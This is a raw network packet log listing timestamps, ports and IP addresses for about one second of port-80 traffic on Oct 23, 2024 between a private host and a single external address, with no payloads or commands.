Oct 23, 2024 17:51:21.837945938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.837959051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838004112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.838325024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838365078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838376999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838413000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.838434935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838447094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.838476896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.880209923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880234003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880247116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880263090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.880287886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.880851984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880908966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880920887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880932093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.880970955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.881144047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.881200075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.881247997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.955132961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955144882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955179930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955216885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.955240965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955254078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955265045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955277920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.955281019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.955307007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.956119061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956168890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.956532955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956543922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956556082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956593037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.956676006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956717968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956723928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.956732988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.956768990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.997716904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.997786045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.997798920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.997843027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.998352051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998398066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998410940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998442888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.998470068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:21.998631001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998644114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998656988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:21.998675108 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.038456917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.039197922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.039248943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.039334059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.072830915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072855949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072865963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072911024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072922945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072923899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.072936058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.072968006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.072989941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.073525906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.073612928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.073653936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.073735952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.073749065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.073760033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.073787928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.074187994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.074199915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.074212074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.074240923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.074273109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.074311972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.074326038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.074367046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.115068913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115103006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115113974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115168095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.115829945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115840912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115854025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115879059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.115911961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.115942955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115961075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.115969896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.116002083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.190196037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190274000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190298080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190315008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.190340042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190383911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.190407991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190419912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190452099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.190728903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190740108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190751076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.190778971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.191047907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191101074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.191108942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191121101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191152096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.191160917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191171885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191184044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.191215038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.191975117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.192025900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.192034006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.232539892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.232551098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.232563019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.232590914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.232623100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.233258963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233269930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233279943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233313084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.233392954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233434916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.233449936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233462095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233472109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.233494997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.288415909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.307760954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307775021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307785988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307837963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.307879925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307899952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307910919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.307921886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.307946920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.308267117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308278084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308290005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308311939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.308346033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308357954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308382034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.308386087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.308562994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.309166908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.309178114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.309221029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350018978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350043058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350053072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350083113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350131989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350143909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350152969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350169897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350189924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350579023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350600958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350613117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350639105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350884914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350903988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350914001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350925922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350959063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.350974083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.350986004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.351023912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.425203085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425215006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425225019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425286055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.425404072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425414085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425455093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.425616980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425627947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425641060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425663948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.425689936 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.425976038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.425995111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.426004887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.426044941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.426280022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.426301003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.426312923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.426318884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.426346064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.467569113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467590094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467597961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467617035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467628956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467638969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.467650890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.467694998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.468135118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468200922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468210936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468250036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.468488932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468499899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468508959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468539000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.468553066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.468875885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468887091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468898058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468914986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.468924046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.468955040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.469393015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.469459057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.469502926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.542769909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542785883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542808056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542817116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542831898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.542866945 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.542949915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542960882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.542994976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.543133020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543152094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543201923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.543284893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543349028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543359995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543397903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.543623924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543667078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.543673038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543684006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.543731928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.596854925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596887112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596900940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596914053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596936941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.596946955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596961975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.596978903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.597002029 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.597318888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597332001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597352028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597362995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.597363949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597377062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597389936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.597409964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.597434998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.598130941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.598154068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.598162889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.598217964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.627218008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.627243996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.627254963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.627270937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.627298117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.660315990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660351992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660396099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.660468102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660485029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660495996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660507917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660520077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.660522938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660540104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.660937071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660947084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.660991907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.661092997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.661133051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.661133051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.661145926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.661186934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.702514887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.702564001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.702630043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.714440107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714483976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714495897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714509964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714521885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714545965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.714582920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.714790106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714802980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714817047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714829922 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714839935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.714844942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714857101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.714859009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.714900970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.715615034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.715661049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.715697050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.715709925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.715723991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.715749979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.744754076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.744775057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.744786978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.744820118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.744851112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.777719975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777730942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777738094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777787924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.777849913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777872086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777883053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.777895927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.777934074 CEST	49763	80	192.168.2.6	185.215.113.16
